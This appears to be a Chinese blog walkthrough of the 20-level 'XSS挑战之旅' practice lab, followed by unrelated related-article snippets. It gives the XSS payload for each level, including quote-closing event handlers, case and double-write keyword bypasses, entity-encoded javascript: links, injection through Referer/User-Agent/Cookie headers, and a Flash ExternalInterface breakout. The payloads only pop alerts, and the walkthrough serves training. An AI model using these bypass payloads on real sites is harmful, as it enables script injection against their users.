当前位置: 首页 > article >正文

告别卡关!XSS挑战之旅全关卡通关思路详解

XSS挑战之旅

  • XSS测试思路
  • Level1
  • Level2
  • Level3
  • Level4
  • Level5
  • Level6
  • Level7
  • Level8
  • Level9
  • Level10
  • Level11
  • Level12
  • Level13
  • Level14
  • Level15
  • Level16
  • Level17
  • Level18
  • Level19
  • Level20
    • 免责声明:

XSS测试思路

  • 确定输入输出点:
    寻找URL参数、表单输入、HTTP头(Referer/UA/Cookie)、隐藏参数等注入点。
  • 观察过滤规则: 检查是否过滤尖括号、引号、关键字(如scripton事件)、空格等。
    绕过策略:
    • 闭合标签:如><payload>闭合原有标签。
    • 事件触发:利用onmouseoveronclick等事件。
    • 编码绕过:URL编码(%0A换行)、HTML实体、十六进制编码。
    • 特殊字符替代:用换行符%0A代替空格,双写关键字绕过过滤。
    • 协议利用:javascript:伪协议

Level1

来到关卡
我们发现URL存在?name参数
且参数值回显在网页上
在这里插入图片描述

故尝试操控URL
构造test<
发现网站没有对参数进行恶意字符过滤
在这里插入图片描述
尝试构造payload

<script>alert(1)</script>

成功弹窗
在这里插入图片描述

Level2

可以看到这一关输入点在搜索框在这里插入图片描述

审查元素得知输入的内容在<input>标签的value属性中
在这里插入图片描述
故构造payload时要闭合value的双引号

"><script>alert(1)</script>

在这里插入图片描述

Level3

本关卡输入值被包裹在单引号'
<、>被转义
故需通过单引号闭合的同时
利用标签原有属性(如onmouseover)注入事件绕过尖括号的过滤
构造' onmouseover=alert(1)//(注:换行符可以绕过闭合)
鼠标悬停输入框时触发弹窗
在这里插入图片描述

Level4

本关与Level3类似
但闭合符号变为双引号"
且尖括号被过滤。
故需通过双引号闭合并利用事件属性绕过
构造" onmouseover=alert(1)//
在这里插入图片描述

Level5

本关<script>on事件关键字被过滤
故需使用非脚本标签(如<a>)的href属性结合javascript:伪协议利用漏洞
构造"><a href='javascript:alert(1)'>点击触发</a>
这里闭合双引号后插入<a>标签在这里插入图片描述

点击链接触发弹窗
在这里插入图片描述

Level6

该关卡对script、href等关键词进行过滤
但发现未处理大小写混合情况。
故通过将标签属性或事件名改为大写绕过过滤
构造payload

"><Script>alert(1)</script>

在这里插入图片描述
构造payload2

"><Img Src=x OnError=alert(1)>

在这里插入图片描述
构造payload3

"><a Href=javascript:alert(1)>click</a>

在这里插入图片描述
在这里插入图片描述

Level7

本关卡对关键词进行删除处理(如script会被删除)
故需通过双写关键词绕过
例如scscriptript会被过滤为script
构造payload1
在这里插入图片描述
构造payload2

" oonnclick=alert(1)//(双写on为oonn,提交完点击输入框后即可弹窗,`//`这个符号不能省略)

在这里插入图片描述

Level8

该关卡对javascript:协议进行严格过滤
故我们需通过HTML实体编码或Unicode绕过
因为浏览器会自动解码HTML实体或Unicode字符,最终执行原始代码。
构造payload1

javascrip&#x74;:alert(1)(`t`的十六进制编码,点击链接弹窗)

在这里插入图片描述
构造payload2
使用Unicode编码:

javasc&#x0072;ipt:alert(1)

在这里插入图片描述

Level9

该关卡要求输入内容包含http://,否则不执行
故我们需在JavaScript伪协议后添加注释或合法URL
由于校验仅检查是否存在http://,注释部分不影响代码执行。
故构造payload

javascrip&#x74;:alert(1)//http://(编码+注释)

在这里插入图片描述

Level10

本关没有输入框
猜测该关卡通过隐藏参数t_sort注入
在这里插入图片描述
故我们需闭合value属性并插入事件
原理是闭合value的引号后
通过type="text"将隐藏输入框变为可见
并绑定事件触发弹窗
构造payload1

?keyword=test&t_sort=" type="text" onclick="alert(1)

在这里插入图片描述
在这里插入图片描述
点击输入框即可弹窗
在这里插入图片描述
构造payload2

?keyword=test&t_sort=" onmouseover=alert(1) type="text"(鼠标悬停触发弹窗)

在这里插入图片描述
构造payload3

?t_sort=8888" type="text" onfocus="alert(1)

在这里插入图片描述

Level11

本关卡依然没有输入框
猜测页面隐藏的<input>标签中,t_ref参数从HTTP头的Referer获取值
故需通过修改Referer头闭合标签并插入事件触发XSS
这里使用BP拦截请求
目的闭合value属性并添加事件
修改Referer头为:

Referer: " onmouseover="alert(1)" type="text"  

在这里插入图片描述

在这里插入图片描述

Level12

类似Level11
但注入点为User-Agent头,对应隐藏参数t_ua
本关需构造User-Agent值闭合标签并插入事件
故修改User-Agent头为:

User-Agent: " onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level13

本关注入点位于Cookie中的user参数
故需修改Cookie值闭合标签并添加事件
bp抓包修改Cookie值为:

Cookie: user=" onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level14

本关由于网络原因链接打不开了
在这里插入图片描述
故给出思路
页面通过<iframe>加载外部图片查看器
理论上需利用图片EXIF信息注入XSS
即需上传包含恶意脚本的图片,利用解析EXIF的漏洞触发XSS

  • 使用工具(如exiftool)修改图片EXIF注释:
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  
  • 上传图片并让页面解析。

Level15

本关只有一张图
在这里插入图片描述
由于本关页面使用AngularJSng-include动态包含文件
即可以通过src参数引用外部文件
则我们利用ng-include包含存在漏洞的Level1页面
并传递XSS Payload
构造URL参数

http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

在这里插入图片描述

Level16

该关卡过滤了空格和script关键字
但未过滤尖括号
由于HTML中换行符%0a%0d可替代空格,可以用于拼接事件属性。
故构造payload

<img%0dsrc=a%0donerror=alert(1)>

在这里插入图片描述

Level17

本关输入点主要位于URL参数中
具体为arg01arg02
且网页将用户输入的arg01arg02参数直接拼接在<embed>标签的src属性中例如:

 <embed src="xsf01.swf?arg01=value1&arg02=value2" ...>

而过滤机制方面网页对<、>空格进行了过滤
但保留了on关键字
故构造payload

arg01=a&arg02=%20onmouseover=alert`1`(这里临时更换浏览器是因为火狐不兼容flash事件触发)

在这里插入图片描述

Level18

本关payloadlevel17

arg01=a&arg02=%20onmouseover=alert`1`

在这里插入图片描述

Level19

本关是Flash XSS漏洞
故需要利用Flash文件(.swf)的参数处理缺陷
通过分析反编译后的Flash代码(如使用JPEXS工具)
发现arg01=version时,arg02的值会被拼接到Flash的链接逻辑中
而虽然参数通过htmlspecialchars实体化处理
Flash内部未对href属性内容充分过滤
且允许通过javascript:协议执行代码
故可以构造payload

构造关键:
arg01需设置为version 触发Flash中特定逻辑
arg02需构造包含恶意代码的HTML标签
通过<a>标签的href属性注入javascript:协议代码

得到:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

在这里插入图片描述

Level20

本关通过<embed>标签加载xsf04.swf文件(实际为zeroclipboard.swf的漏洞版本)
而存在核心漏洞是Flash代码未对参数进行严格过滤
导致通过URL参数注入恶意代码
故反编译zeroclipboard.swf后分析源码

 public class ZeroClipboard extends Sprite{private var button:Sprite;private var id:String = "";private var clipText:String = "";public function ZeroClipboard(){super();stage.scaleMode = StageScaleMode.EXACT_FIT;Security.allowDomain("*");var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;id = flashvars.id;button = new Sprite();button.buttonMode = true;button.useHandCursor = true;button.graphics.beginFill(13434624);button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));button.alpha = 0;addChild(button);button.addEventListener(MouseEvent.CLICK,clickHandler);button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);});button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);});button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);});button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);});ExternalInterface.addCallback("setHandCursor",setHandCursor);ExternalInterface.addCallback("setText",setText);ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);}public function setHandCursor(param1:Boolean) : *{button.useHandCursor = param1;}private function clickHandler(param1:Event) : void{System.setClipboard(clipText);ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);}public function setText(param1:*) : *{clipText = param1;}}
}

可以看到Flash通过LoaderInfoURL参数arg01arg02中读取值在这里插入图片描述

关键漏洞函数为ExternalInterface.call在这里插入图片描述

用于与JavaScript交互。
故需构造参数闭合arg02原有逻辑并插入恶意代码。
得到:

?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在这里插入图片描述

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

相关文章:

告别卡关!XSS挑战之旅全关卡通关思路详解

XSS挑战之旅 XSS测试思路Level1Level2Level3Level4Level5Level6Level7Level8Level9Level10Level11Level12Level13Level14Level15Level16Level17Level18Level19Level20免责声明&#xff1a; XSS测试思路 确定输入输出点&#xff1a; 寻找URL参数、表单输入、HTTP头&#xff08;R…...

SpringCloud框架下的注册中心比较:Eureka与Consul的实战解析

摘要 在探讨SpringCloud框架中的两种注册中心之前&#xff0c;有必要回顾单体架构与分布式架构的特点。单体架构将所有业务功能集成在一个项目中&#xff0c;优点是架构简单、部署成本低&#xff0c;但耦合度高。分布式架构则根据业务功能对系统进行拆分&#xff0c;每个模块作…...

【Java】分布式锁Redis和Redisson

https://blog.csdn.net/weixin_44606481/article/details/134373900 https://www.bilibili.com/video/BV1nW421R7qJ Redis锁机制一般是由 setnx 命令实现&#xff0c;set if not exists&#xff0c;语法setnx key value&#xff0c;将key设置值为value&#xff0c;如果key不存在…...

Python的imutils库详细介绍

imutils 是一个专为简化OpenCV&#xff08;计算机视觉库&#xff09;常见操作而设计的Python工具库&#xff0c;提供了一系列便捷函数&#xff0c;使图像和视频处理更加高效和简洁。以下是对其功能、安装及用法的详细介绍&#xff1a; 1. 安装方法 通过pip安装&#xff1a; p…...

蓝桥杯 Java B 组之简单动态规划(爬楼梯、斐波那契数列)

Day 6&#xff1a;简单动态规划&#xff08;爬楼梯、斐波那契数列&#xff09; 动态规划&#xff08;Dynamic Programming&#xff0c;简称 DP&#xff09;是计算机科学中的一种算法设计思想&#xff0c;用来解决最优解问题&#xff0c;它的核心思想是将大问题分解为小问题&am…...

Hive增量迁移方案与实操PB级

客户一共1PB数据&#xff0c;每天新增10T&#xff0c;有些表只保留3天。 需要客户提供&#xff1a; a.tbl_size(大小GB) a.last_mtime(最新更新时间) a.tbl_ttl(保留时间) b.last_part_dt(分区值) b.last_part_size(最新分区大小) t_day(表更新规律,t几) 因为目前…...

【练习】【双指针】力扣热题100 283. 移动零

题目 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 示例 1: 输入: nums [0,1,0,3,12] 输出: [1,3,12,0,0] 示例 2: 输入: nums [0] 输出…...

Python 依赖管理的革新——Poetry 深度解析

引言 在 Python 生态中&#xff0c;依赖管理一直是开发者关注的重要话题。从最初的 pip 和 virtualenv&#xff0c;到后来的 pipenv&#xff0c;Python 依赖管理工具不断进化。而近年来&#xff0c;Poetry 作为一款集成包管理和虚拟环境管理的新兴工具&#xff0c;逐渐获得了广…...

从零开始学Python爬虫:(二)使用基本库urllib(下)

一、异常处理 关于某些情况下&#xff0c;可能会出现异常&#xff0c;如果不处理它们&#xff0c;会发生很多错误。 而urllib库提供了error模块来处理这些异常&#xff0c;该模块包括以下功能&#xff1a; &#xff08;1&#xff09;URLError 该类含有一个属性reason&#x…...

电商分布式场景中如何保证数据库与缓存的一致性?实战方案与Java代码详解

文章目录 一、缓存一致性问题的本质写后读不一致&#xff1a;更新数据库后&#xff0c;缓存未及时失效并发读写竞争&#xff1a;多个线程同时修改同一数据缓存与数据库事务不同步&#xff1a;部分成功导致数据错乱 二、5大核心解决方案与代码实现方案1&#xff1a;延迟双删策略…...

kamailio中Core Cookbook 核心配置手册

Core Cookbook 核心配置手册 版本: Kamailio SIP 服务器 v6.0.x (稳定版) 概述 本教程收集了 Kamailio 核心导出到配置文件的功能和参数。 注意: 本页参数未按字母顺序排列。 结构 kamailio.cfg 的结构可分为三部分: 全局参数模块设置路由块 建议按此顺序排列以保持清晰…...

【嵌入式Linux应用开发基础】read函数与write函数

目录 一、read 函数 1.1. 函数原型 1.2. 参数说明 1.3. 返回值 1.4. 示例代码 二、write 函数 2.1. 函数原型 2.2. 参数说明 2.3. 返回值 2.4. 示例代码 三、关键注意事项 3.1 部分读写 3.2 错误处理 3.3 阻塞与非阻塞模式 3.4 数据持久化 3.5 线程安全 四、嵌…...

一、OpenSM 架构部署及原理详解

目录 一、OpenSM 架构与核心功能 1. InfiniBand 子网管理器(SM)的作用 2. OpenSM 的架构 二、OpenSM 部署步骤(以 Linux 为例) 1. 安装依赖与软件包 2. 配置文件 3. 启动 OpenSM 服务 4. 验证部署 5. 高可用性配置(可选) 三、OpenSM 工作原理详解 1. 拓扑发现(…...

2526考研资料分享 百度网盘

通过网盘分享的文件&#xff1a;01、2026【考研数学】 链接:https://pan.baidu.com/s/1PwMzp_yCYqjBqa7492mP3w?pwd98wg 提取码:98wg--来自百度网盘超级会员v3的分享 通过网盘分享的文件&#xff1a;01、2026【考研政治】 链接:https://pan.baidu.com/s/1PwMzp_yCYqjBqa7492…...

15.1 Process(进程)类

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 通常开发时想要获得进程是比较困难的事&#xff0c;必须要调用CreateToolhelpSnapshot、ProcessFirst、ProcessNext等API或者诸如 Zw…...

事件传递和监控

今天介绍一下UIApplication的函数 - (BOOL)sendAction:to:from:forEvent: - (BOOL)sendAction:to:from:forEvent: 是 UIApplication 类中的一个方法&#xff0c;主要用于发送事件响应链中的动作&#xff08;action&#xff09;。它允许应用程序从一个特定的发送者&#xff08;…...

CentOS 7 企业级Redis 7部署指南

CentOS 7 企业级Redis 7部署指南 目录导航 一、环境准备 1.1 依赖管理 二、离线安装 2.1 源码编译安装2.2 目录结构规范 三、生产配置 3.1 主配置文件3.2 配置生成脚本 四、系统集成 4.1 Systemd服务文件4.2 服务管理命令 五、安全加固 5.1 网络安全配置5.2 审计配置 六、性能…...

Python创建Excel的方式——提供4中方式可供参考

目录 专栏导读库的安装代码1——pandas代码2——openpyxl代码3——xlsxwriter代码4——xlwings总结 专栏导读 &#x1f338; 欢迎来到Python办公自动化专栏—Python处理办公问题&#xff0c;解放您的双手 &#x1f3f3;️‍&#x1f308; 博客主页&#xff1a;请点击——>…...

消息中间件深度剖析:以 RabbitMQ 和 Kafka 为核心

在现代分布式系统和微服务架构的构建中&#xff0c;消息中间件作为一个不可或缺的组件&#xff0c;承担着系统间解耦、异步处理、流量削峰、数据传输等重要职能。尤其是在面临大规模并发、高可用性和可扩展性需求时&#xff0c;如何选择合适的消息中间件成为了开发者和架构师们…...

回文数:简单问题中的多种优化思路

回文数&#xff1a;简单问题中的多种优化思路 引言 回文数&#xff08;Palindrome Number&#xff09;是一个有趣的问题&#xff0c;在算法竞赛、面试、甚至一些实际应用场景中都会遇到。最直观的方式是将数字转换成字符串&#xff0c;然后反转比较。但仅仅满足“能解”是不够…...

大语言模型简史:从Transformer(2017)到DeepSeek-R1(2025)的进化之路

2025年初&#xff0c;中国推出了具有开创性且高性价比的「大型语言模型」&#xff08;Large Language Model — LLM&#xff09;DeepSeek-R1&#xff0c;引发了AI的巨大变革。本文回顾了LLM的发展历程&#xff0c;起点是2017年革命性的Transformer架构&#xff0c;该架构通过「…...

java八股文-spring

目录 1. spring基础 1.1 什么是Spring&#xff1f; 1.2 Spring有哪些优点&#xff1f; 1.3 Spring主要模块 1.4 Spring常用注解 1.5 Spring中Bean的作用域 1.6 Spring自动装配的方式 1.7 SpringBean的生命周期 1.8 多级缓存 1.9 循环依赖&#xff1f; 1 .8.1 原因 1.8…...

机器学习--实现多元线性回归

机器学习—实现多元线性回归 本节顺延机器学习--线性回归中的内容&#xff0c;进一步讨论多元函数的回归问题 y ′ h ( x ) w ⊤ ∙ x b y^{\prime}h(x)w^\top\bullet xb y′h(x)w⊤∙xb 其中, w T ⋅ x 就是 W 1 X 1 w 2 X 2 w 3 X 3 ⋯ w N X N \text{其中,}w^\math…...

vue3响应式丢失解决办法(三)

vue3的响应式的理解&#xff0c;与普通对象的区别&#xff08;一&#xff09; vue3 分析总结响应式丢失问题原因&#xff08;二&#xff09; 经过前面2篇文章&#xff0c;知道了响应式为什么丢失了&#xff0c;但是还是碰到了丢失情况&#xff0c;并且通过之前的内容还不能解…...

NLP 八股 DAY1:BERT

BERT全称&#xff1a;Pre-training of deep bidirectional transformers for language understanding&#xff0c;即深度双向Transformer。 模型训练时的两个任务是预测句⼦中被掩盖的词以及判断输⼊的两个句⼦是不是上下句。在预训练 好的BERT模型后⾯根据特定任务加上相应的⽹…...

蓝桥与力扣刷题(230 二叉搜索树中第k小的元素)

题目&#xff1a;给定一个二叉搜索树的根节点 root &#xff0c;和一个整数 k &#xff0c;请你设计一个算法查找其中第 k 小的元素&#xff08;从 1 开始计数&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,1,4,null,2], k 1 输出&#xff1a;1示例 2&#xff…...

半遮挡检测算法 Detecting Binocular Half-Occlusions

【1. 背景】&#xff1a; 本文分析【Detecting Binocular Half-Occlusions&#xff1a;Empirical Comparisons of Five Approaches】Geoffrey Egnal和Richard P. Wildes于2002年发表在IEEE Transactions on Pattern Analysis and Machine Intelligence上&#xff0c;这是1篇中…...

PHP培训机构教务管理系统小程序

&#x1f511; 培训机构教务管理系统——智慧教育&#xff0c;高效管理新典范 &#x1f680; 这款教务管理系统&#xff0c;是基于前沿的ThinkPHP框架与Uniapp技术深度融合&#xff0c;匠心打造的培训机构管理神器。它犹如一把开启高效运营与精细管理的金钥匙&#xff0c;专为…...

《LeetCode 763. 划分字母区间 | 高效分割字符串》

内容&#xff1a; 问题描述&#xff1a; 给定一个字符串 S&#xff0c;将字符串分割成若干个子串&#xff0c;使得每个子串中的字符都不重复&#xff0c;并且返回每个子串的长度。 解题思路&#xff1a; 找到每个字符最后一次出现的位置&#xff1a;我们首先遍历一遍字符串&a…...

无人机不等同轴旋翼架构设计应用探究

“结果显示&#xff0c;对于不等组合&#xff0c;用户应将较小的螺旋桨置于上游以提高能效&#xff0c;但若追求最大推力&#xff0c;则两个相等的螺旋桨更为理想。” 在近期的研究《不等同轴旋翼性能特性探究》中&#xff0c;Max Miles和Stephen D. Prior博士深入探讨了不同螺…...